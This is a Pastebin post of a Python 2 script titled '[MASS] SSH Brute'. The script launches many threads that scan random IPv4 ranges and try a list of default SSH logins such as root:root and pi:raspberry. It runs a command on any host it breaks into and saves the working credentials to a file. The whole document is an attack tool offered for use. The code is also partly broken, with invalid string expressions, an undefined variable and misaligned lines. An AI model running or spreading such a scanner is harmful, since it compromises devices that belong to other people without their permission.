Advertisement
_c0mrad

[MASS] SSH Brute

Oct 24th, 2016
911
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.02 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # python root.py 500 LUCKY x 0
  3. # python root.py 500 B 101.108 1
  4. # python root.py 500 A 125 1
  5.  
  6. import threading, paramiko, random, socket, time, sys
  7.  
  8. paramiko.util.log_to_file("/dev/null") # silents spam of paramiko
  9.  
  10. blacklist = [
  11.     '127'
  12. ]
  13.  
  14.  
  15. passwords = [
  16.     "root:root",
  17.     "root:admin",
  18.     "admin:admin",
  19.     "ubnt:ubnt",
  20.     "root:1234",
  21.     "admin:1234",
  22.     "guest:guest",
  23.     "user:user",
  24.     "test:test",
  25.     "pi:raspberry",
  26.     "vagrant:vagrant",
  27. ]
  28. #pastebin.com/S4JutZkd
  29. if sys.argv[4] == '1':
  30.     passwords = [ "root:root", "ubnt:ubnt", "admin:admin", "root:password" ] #Slow but effective
  31. if sys.argv[4] == '2':
  32.     passwords = [ "root:root" ] #Fast but yet less effective
  33. if sys.argv[4] == '3':
  34.     passwords = [ "root:synopass" ] #thefuckis a synopass
  35. if sys.argv[4] == 'perl':
  36.     passwords = [ "pi:raspberry", "vagrant:vagrant", "ubnt:ubnt" ]
  37. if sys.argv[4] == 'all':
  38.     passwords = [ "pi:raspberry", "vagrant:vagrant", "root:root", "root:admin", "admin:admin", "ubnt:ubnt", "root:1234", "admin:1234", "guest:guest", "user:user", "test:test" ] # scans all passwords but very slow
  39.  
  40. ipclassinfo = sys.argv[2]
  41. if ipclassinfo == "A":
  42.     ip1 = sys.argv[3]
  43. elif ipclassinfo == "B":
  44.     ip1 = sys.argv[3].split(".")[0]
  45.     ip2 = sys.argv[3].split(".")[1]
  46. elif ipclassinfo == "C":
  47.     ips = sys.argv[3].split(".")
  48.     num=0
  49.     for ip in ips:
  50.         num=num+1
  51.         if num == 1:
  52.             ip1 = ip
  53.         elif num == 2:
  54.             ip2 = ip
  55.         elif num == 3:
  56.             ip3 = ip
  57. class sshscanner(threading.Thread):
  58.     global passwords
  59.     global ipclassinfo
  60.     if ipclassinfo == "A":
  61.         global ip1
  62.     elif ipclassinfo == "B":
  63.         global ip1
  64.         global ip2
  65.     elif ipclassinfo == "C":
  66.         global ip1
  67.         global ip2
  68.         global ip3
  69.     def run(self):
  70.         while 1:
  71.             try:
  72.                 while 1:
  73.                     thisipisbad='no'
  74.                     if ipclassinfo == "A":
  75.                         self.host = +ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  76.                     elif ipclassinfo == "B":
  77.                         self.host = +ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  78.                     elif ipclassinfo == "C":
  79.                         self.host = +ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  80.                     elif ipclassinfo == "LUCKY":
  81.             lucky = ["201.13","197.23","187.89","37.236","191.53","161.18","191.53","186.208","1.0","177.137","177.38","101.108","125.27","177.44","179.189","179.97"]
  82.                         self.host = +random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  83.                     else:
  84.                         self.host = +str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  85.                     for badip in reservedips:
  86.                         if badip in self.host:
  87.                             thisipisbad='yes'
  88.                     if thisipisbad=='no':
  89.                         break
  90.                 username='root'
  91.                 password=""
  92.                 port = 22
  93.                 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  94.                 s.settimeout(3)
  95.                 s.connect((self.host, port))
  96.                 s.close()
  97.                 ssh = paramiko.SSHClient()
  98.                 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  99.                 dobreak=False
  100.                 for passwd in passwords:
  101.                     if ":n/a" in passwd:
  102.                         password=""
  103.                     else:
  104.                         password=passwd.split(":")[1]
  105.                     if "n/a:" in passwd:
  106.                         username=""
  107.                     else:
  108.                         username=passwd.split(":")[0]
  109.                     try:
  110.                         ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
  111.                         dobreak=True
  112.                         break
  113.                     except:
  114.                         pass
  115.                     if True == dobreak:
  116.                         break
  117.                 badserver=True
  118.                 stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  119.                 output = stdout.read()
  120.                 if "inet addr" in output:
  121.                     badserver=False    
  122.                 if badserver == False:
  123.                         print 'Executing on -> '+self.host+':'+username+':'+password+''
  124.                         ssh.exec_command(" whatevuh ")
  125.             f = open('vuln.txt', 'a')
  126.                         f.write("%s:%s:%s\n" % (username, password, self.host))
  127.                         f.close()
  128.                         time.sleep(20)
  129.                         ssh.close()
  130.             except:
  131.                 pass
  132.  
  133. for x in range(0,int(sys.argv[1])):
  134.     try:
  135.         t = sshscanner()
  136.         t.start()
  137.     except:
  138.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement